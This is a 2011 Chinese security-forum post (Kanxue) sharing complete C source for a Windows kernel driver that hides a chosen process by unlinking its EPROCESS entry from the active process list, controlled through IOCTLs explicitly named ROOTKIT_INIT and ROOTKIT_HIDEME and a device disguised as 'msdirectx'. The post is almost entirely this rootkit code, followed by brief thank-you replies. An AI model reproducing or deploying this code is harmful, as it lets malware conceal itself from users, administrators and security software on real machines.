首页
课程
问答
CTF
社区
招聘
看雪峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
看雪峰会
看雪商城
证书查询
社区
付费问答
发新帖
0
0
[旧帖]
[分享]r0摘链隐藏进程
0.00雪花
发表于: 2011-2-19 20:47
1034
[旧帖]
[分享]r0摘链隐藏进程
0.00雪花
缘份天琊
2011-2-19 20:47
1034
/*=================================================================
eprocess断链隐藏进程
=================================================================*/
#include "ntddk.h"
#include "stdio.h"
#include "stdlib.h"
//typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
// #define DebugPrint DbgPrint
#define FILE_DEVICE_ROOTKIT 0x00002a7b
#define IOCTL_ROOTKIT_INIT (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x01, METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define IOCTL_ROOTKIT_HIDEME (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x02, METHOD_BUFFERED, FILE_WRITE_ACCESS)
int FLINKOFFSET;
int PIDOFFSET;
const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\msdirectx";
const WCHAR deviceNameBuffer[] = L"\\Device\\msdirectx";
DWORD FindProcessEPROC(int);
//===================================================================================|
//===================================================================================|
NTSTATUS DispatchDeviceControl( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
int find_PID = 0;
DWORD eproc = 0x00000000;
DWORD start_eproc = 0x00000000;
PLIST_ENTRY plist_active_procs = NULL;
//------------------------------------------------
PVOID inputBuffer;
PVOID outputBuffer;
ULONG inputBufferLength;
ULONG outputBufferLength;
ULONG ioControlCode;
NTSTATUS ntstatus;
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
inputBuffer = Irp->AssociatedIrp.SystemBuffer;
outputBuffer = Irp->AssociatedIrp.SystemBuffer;
inputBufferLength = irpStack->arameters.DeviceIoControl.InputBufferLength;
outputBufferLength = irpStack->arameters.DeviceIoControl.OutputBufferLength;
ioControlCode = irpStack->arameters.DeviceIoControl.IoControlCode;
switch ( ioControlCode ) {
case IOCTL_ROOTKIT_INIT:
if ((inputBufferLength < sizeof(int) * 8) || (inputBuffer == NULL))
{
Irp->IoStatus.Status = STATUS_INVALID_BUFFER_SIZE;
break;
}
PIDOFFSET = (int) (*(int *)inputBuffer);
FLINKOFFSET = (int) (*((int *)inputBuffer+1));
break;
case IOCTL_ROOTKIT_HIDEME:
if ((inputBufferLength < sizeof(DWORD)) || (inputBuffer == NULL))
{
Irp->IoStatus.Status = STATUS_INVALID_BUFFER_SIZE;
break;
}
find_PID = *((DWORD *)inputBuffer);
if (find_PID == 0x00000000)
{
Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
break;
}
eproc = FindProcessEPROC(find_PID);
if (eproc == 0x00000000)
{
Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
break;
}
//----------------------断链隐藏进程----------------------
plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
*((DWORD *)plist_active_procs->Blink+0) = (DWORD) plist_active_procs->Flink;
*((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
//--------------------------------------------------------
break;
default:
Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
return Irp->IoStatus.Status;
}
//遍历list
DWORD FindProcessEPROC (int terminate_PID)
{
DWORD eproc = 0x00000000;
int current_PID = 0;
int start_PID = 0;
int i_count = 0;
PLIST_ENTRY plist_active_procs;
if (terminate_PID == 0)
return terminate_PID;
eproc = (DWORD) PsGetCurrentProcess();
start_PID = *((DWORD*)(eproc+PIDOFFSET));
current_PID = start_PID;
while(1)
{
if(terminate_PID == current_PID)
return eproc;
else
{
plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
eproc = (DWORD) plist_active_procs->Flink;
eproc = eproc - FLINKOFFSET;
current_PID = *((int *)(eproc+PIDOFFSET));
i_count++;
}
if(start_PID == current_PID) //如果是自己的pid 就返回0
{
return 0x00000000;
}
}
}
/************************************************************************
* 函数名称:HelloDDKDispatchRoutine
* 功能描述:对读IRP进行处理
* 参数列表:
pDevObj:功能设备对象
pIrp:从IO请求包
* 返回 值:返回状态
*************************************************************************/
#pragma PAGEDCODE
NTSTATUS Dispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) //通用指派
{
NTSTATUS ntstatus;
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Status =ntstatus= STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
switch (irpStack->MajorFunction) {
case IRP_MJ_CREATE:
KdPrint(("IRP_MJ_CREATE\n"));
break;
case IRP_MJ_SHUTDOWN:
KdPrint(("IRP_MJ_SHUTDOWN\n"));
break;
case IRP_MJ_CLOSE:
KdPrint(("IRP_MJ_CLOSE\n"));
break;
case IRP_MJ_DEVICE_CONTROL:
ntstatus = DispatchDeviceControl(DeviceObject,Irp); //ioctl分发函数
break;
}
IoCompleteRequest( Irp, IO_NO_INCREMENT );
return ntstatus;
}
/************************************************************************
* 函数名称:CreateDevice
* 功能描述:初始化设备对象
* 参数列表:
pDriverObject:从I/O管理器中传进来的驱动对象
* 返回 值:返回初始化状态
*************************************************************************/
#pragma INITCODE
NTSTATUS CreateDevice (IN PDRIVER_OBJECT pDriverObject)
{
NTSTATUS status;
PDEVICE_OBJECT pDevObj;
PDEVICE_EXTENSION pDevExt;
UNICODE_STRING deviceNameUString;
UNICODE_STRING deviceLinkUString;
RtlInitUnicodeString (&deviceNameUString,deviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUString,deviceLinkBuffer );
//创建设备
status = IoCreateDevice( pDriverObject,
sizeof(DEVICE_EXTENSION),
&deviceNameUString,
FILE_DEVICE_UNKNOWN,
0, TRUE,
&pDevObj );
if (!NT_SUCCESS(status))
return status;
//创建符号链接
status = IoCreateSymbolicLink( &deviceLinkUString,&deviceNameUString );
if (!NT_SUCCESS(status))
{
IoDeleteDevice( pDevObj );
return status;
}
//设备扩展
pDevObj->Flags |= DO_BUFFERED_IO;
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
pDevExt->pDevice = pDevObj;
pDevExt->ustrDeviceName = deviceNameUString;
pDevExt->ustrSymLinkName = deviceLinkUString;
return STATUS_SUCCESS;
}
VOID DeleteDevice (IN PDRIVER_OBJECT pDriverObject)
{
//删除符号链接和设备对象
PDEVICE_OBJECT pNextObj;
pNextObj = pDriverObject->DeviceObject;
while (pNextObj != NULL)
{
PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)
pNextObj->DeviceExtension;
//删除符号链接
UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;
IoDeleteSymbolicLink(&pLinkName);
pNextObj = pNextObj->NextDevice;
IoDeleteDevice( pDevExt->pDevice );
}
}
/*=========================================================
* 函数名称:
* 功能描述:负责驱动程序的卸载操作
* 参数列表:
pDriverObject:驱动对象
* 返回 值:返回状态
=========================================================*/
#pragma PAGEDCODE
VOID Unload (IN PDRIVER_OBJECT pDriverObject)
{
//删除符号链接和设备对象
DeleteDevice( pDriverObject);
}
/*=========================================================
* 函数名称riverEntry
* 功能描述:初始化驱动程序,定位和申请硬件资源,创建内核对象
* 参数列表:
pDriverObject:从I/O管理器中传进来的驱动对象
pRegistryPath:驱动程序在注册表的中的路径
* 返回 值:返回初始化驱动状态
IRQL = passive level
=========================================================*/
#pragma INITCODE
extern "C" NTSTATUS DriverEntry (IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pRegistryPath )
{
KdPrint(("---------------- DriverEntry ----------------\nCompiled at " __TIME__ " on " __DATE__ "\n"));
//指定分发函数
for(int i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ )
pDriverObject->MajorFunction[i] = Dispatch;
//pDriverObject->MajorFunction[IRP_MJ_CREATE] = Dispatch;
//pDriverObject->MajorFunction[IRP_MJ_CLOSE] = Dispatch;
//pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchDeviceControl_HideProt;
//创建驱动设备对象
CreateDevice(pDriverObject);
//------------------------------------
pDriverObject->DriverUnload = Unload;
KdPrint(("----------------end of DriverEntry--------------\n"));
return STATUS_SUCCESS;
}
[课程]Linux pwn 探索篇!
收藏
・
0
免费
・
0
支持
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
最新回复
(
3
)
hardful
雪 币:
80
活跃值:
(10)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
32
粉丝
0
关注
私信
hardful
2
楼
谢谢分享.......
2011-2-19 21:03
0
paulbaby
雪 币:
3800
活跃值:
(10)
能力值:
( LV2,RANK:10 )
在线值:
发帖
4
回帖
108
粉丝
0
关注
私信
paulbaby
3
楼
注释挺详细的,不错!
2011-2-19 21:09
0
善良屠夫
雪 币:
201
活跃值:
(16)
能力值:
( LV2,RANK:10 )
在线值:
发帖
20
回帖
159
粉丝
0
关注
私信
善良屠夫
4
楼
能问一下这是在干啥吗
2011-2-20 13:27
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
缘份天琊
11
发帖
57
回帖
10
RANK
关注
私信
他的文章
[转帖]uchome 2.0 JS.php远程代码执行漏洞
1099
[转帖]近日流传的Discuz 1.5最新0day
1581
[分享]VC++突破防火墙入侵内网-11-0605
1591
[分享]通过SSDT Hook 绕过读内存保护 NtReadVirtualMemory
1858
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
返回
顶部